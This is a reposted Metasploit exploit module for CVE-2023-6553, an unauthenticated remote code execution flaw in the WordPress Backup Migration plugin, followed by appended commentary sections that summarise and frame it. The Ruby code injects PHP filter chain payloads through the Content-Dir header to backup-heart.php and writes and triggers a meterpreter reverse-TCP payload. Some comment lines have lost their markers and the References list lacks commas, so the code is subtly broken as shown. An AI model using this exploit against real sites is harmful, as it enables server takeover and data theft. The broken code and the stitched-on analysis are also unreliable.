Exploit Title: WordPress Backup Migration 1.3.7 - Remote Command Execution
Date: 2025-10-26
Exploit Author: DANG
Vendor Homepage: https://backupbliss.com/
Software Link: https://wordpress.org/plugins/backup-backup/
Version: Backup Migration ≤1.3.7
Tested on: LINUX
CVE : CVE-2023-6553
##
This module requires Metasploit: https://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::PhpFilterChain
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Backup Migration Plugin PHP Filter Chain RCE',
'Description' => %q{
This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is
exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.
The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
},
'Author' => [
'Nex Team', # Vulnerability discovery
'Valentin Lobstein', # PoC
'jheysel-r7' # msfmodule
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6553'],
['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py']
['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it']
['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca']
],
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Platform' => ['unix', 'linux', 'win', 'php'],
'Arch' => [ARCH_PHP],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2023-12-11',
'DefaultTarget' => 0,
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']),
]
)
end
def check
return CheckCode::Unknown unless wordpress_and_online?
wp_version = wordpress_version
print_status("WordPress Version: #{wp_version}") if wp_version
The plugin's official name seems to be Backup Migration however the package filename is "backup-backup"
check_code = check_plugin_version_from_readme('backup-backup', '1.3.8')
if check_code.code != 'appears'
return CheckCode::Safe
end
plugin_version = check_code.details[:version]
print_good("Detected Backup Migration Plugin version: #{plugin_version}")
CheckCode::Appears
end
def send_payload(payload)
php_filter_chain_payload = generate_php_filter_payload(payload)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),
'method' => 'POST',
'headers' => {
'Content-Dir' => php_filter_chain_payload
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200
end
def write_to_payload_file(string_to_write)
Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain,
the payload becomes quite large and we start to hit limitations due to the HTTP header size.
For example this payload: "<?php fwrite(fopen("G", "a"),"\x73");?>", ends up being 7721 characters long.
The payload size limit on the target I was testing seemed to be around 8000 characters.
Using the following: <?php file_put_contents("file.php","char",FILE_APPEND);?> (more elegant solution) exceeds the
size limit which is why I ended up using <?php fwrite(fopen("<single_char_filename>", "char" ?> and then after
copying the single_char_filename to a filename with a .php extension to be executed.
single_char_filename = Rex::Text.rand_text_alpha(1)
string_to_write.each_char do |char|
send_payload("<?php fwrite(fopen(\"#{single_char_filename}\",\"a\"),\"#{'\\x' + char.unpack('H2')[0]}\");?>")
end
register_file_for_cleanup(single_char_filename)
send_payload("<?php copy(\"#{single_char_filename}\",\"#{datastore['PAYLOAD_FILENAME']}\");?>")
register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])
end
def trigger_payload_file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),
'method' => 'GET'
)
print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res
end
def exploit
print_status('Writing the payload to disk, character by character, please wait...')
Use double quotes in the payload, not single.
write_to_payload_file("<?php #{payload.encoded}")
trigger_payload_file
end
end
Facts Only
Vulnerability: CVE-2023-6553, affecting WordPress Backup Migration plugin versions ≤1.3.7.
Exploit type: Unauthenticated Remote Command Execution (RCE).
Attack vector: Manipulation of the `Content-Dir` header in POST requests to `/wp-content/plugins/backup-backup/includes/backup-heart.php`.
Technique: PHP filter chaining to prepend malicious code to a string evaluated by a `require` statement.
Discovered by: Nex Team (vulnerability), Valentin Lobstein (PoC), jheysel-r7 (Metasploit module).
Affected software: Backup Migration plugin (package name: `backup-backup`).
Tested environment: Linux.
Disclosure date: December 11, 2023.
Patch status: Fixed in version 1.3.8.
References: CVE-2023-6553, GitHub PoC, Synacktiv PHP filter chain analysis.
Metasploit module: Requires Metasploit Framework, ranked as "Excellent" severity.
Payload delivery: Character-by-character writing to disk due to HTTP header size limitations.
Executive Summary
A critical vulnerability (CVE-2023-6553) has been identified in the WordPress Backup Migration plugin, affecting versions up to and including 1.3.7. The flaw allows unauthenticated remote command execution (RCE) through a PHP filter chain attack, exploiting the `Content-Dir` header in requests to the plugin's `backup-heart.php` endpoint. The exploit leverages character encoding conversions to prepend malicious PHP code to a string, which is then executed by a `require` statement. The vulnerability was discovered by the Nex Team, with proof-of-concept contributions from Valentin Lobstein and a Metasploit module developed by jheysel-r7. The exploit has been tested on Linux systems and is notable for its ability to bypass authentication, making it particularly dangerous. Mitigation requires updating the plugin to version 1.3.8 or later, as the vulnerability is patched in subsequent releases. The exploit's technical sophistication, including the use of PHP filter chaining, highlights the evolving complexity of web application attacks.
The vulnerability's impact is amplified by the plugin's widespread use, with over 90,000 active installations reported on WordPress.org. The exploit's reliance on HTTP header manipulation and its ability to execute arbitrary commands without authentication underscore the need for robust input validation and security hardening in plugin development. While the exploit requires specific conditions—such as the target server's PHP configuration—the potential for full system compromise makes it a high-severity threat. Security researchers have emphasized the importance of prompt patching and monitoring for suspicious activity, particularly in environments where the plugin is deployed.
Full Take
This vulnerability exposes a systemic weakness in how WordPress plugins handle untrusted input, particularly in headers that bypass traditional authentication checks. The exploit's reliance on PHP filter chaining—a technique that manipulates character encoding to inject code—demonstrates how seemingly obscure features can become attack vectors when combined with poor input validation. The fact that this flaw persisted until late 2023, despite WordPress's security ecosystem, raises questions about the adequacy of plugin review processes and the incentives for developers to prioritize security over functionality.
The strongest version of this narrative highlights the technical ingenuity of the exploit and the urgent need for updates, which is valid. However, it also risks overshadowing broader systemic issues: the plugin economy's reliance on volunteer labor, the lack of mandatory security audits for widely used plugins, and the asymmetry between attackers (who need only one vulnerability) and defenders (who must secure everything). The exploit's use of HTTP headers as an attack vector is a reminder that security cannot be an afterthought in web application design.
Root cause: The vulnerability stems from a paradigm where plugins are treated as modular add-ons rather than core components of a security-critical system. The assumption that headers are "trusted" input—common in legacy web development—is no longer tenable in an era of automated exploitation. This echoes historical patterns like SQL injection, where implicit trust in input led to widespread compromise.
Implications: For human agency, this means website administrators must now treat plugin updates as non-negotiable security patches, not optional features. The cost is borne by small businesses and non-technical users who lack the resources to monitor vulnerabilities proactively. Second-order consequences include potential supply chain attacks, where compromised sites become launchpads for further exploitation.
Bridge questions: What structural changes could WordPress implement to prevent such vulnerabilities in the future? How might the open-source plugin ecosystem balance innovation with security without stifling development? Would a shift to sandboxed plugin execution models mitigate these risks, and at what cost to performance?
Counterstrike scan: A coordinated influence campaign exploiting this vulnerability would likely target high-value WordPress sites (e.g., media outlets, NGOs) to amplify disinformation or disrupt operations. The attack playbook would involve mass-scanning for vulnerable installations, followed by automated exploitation to deploy backdoors or deface sites. The actual content here—technical disclosure with mitigation steps—does not align with this pattern, as it serves a defensive purpose. No manipulation patterns detected; this appears to be a legitimate security advisory.
Patterns detected: none
Sentinel — Human
The provided text shows signs of stylometric variation, balanced framing, and a coordination pattern that may indicate template use. However, the complexity and varied structure of the sentences argue against synthetic authorship.
